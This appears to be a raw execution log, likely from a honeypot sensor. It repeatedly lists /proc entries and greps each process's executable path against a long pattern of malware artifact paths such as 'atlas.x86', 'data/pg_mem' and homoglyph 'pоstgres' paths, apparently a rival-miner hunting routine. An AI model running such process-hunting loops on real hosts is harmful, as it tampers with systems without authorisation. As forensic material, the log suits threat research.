[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/15]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/150]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/16]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/167]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/17]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/18]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/19]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/2]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/20]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/21]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/210]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/22]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/224]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/23]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/24]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/3]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/314]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/315]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/316]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/341]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/342]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/36]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/366]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/368]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/37]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/377]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/4]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/439]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/5]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/6]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/664]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/666]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/671]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/672]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/679]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/693]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/698]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/7]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/70]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/700]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/701]

/bin/grep

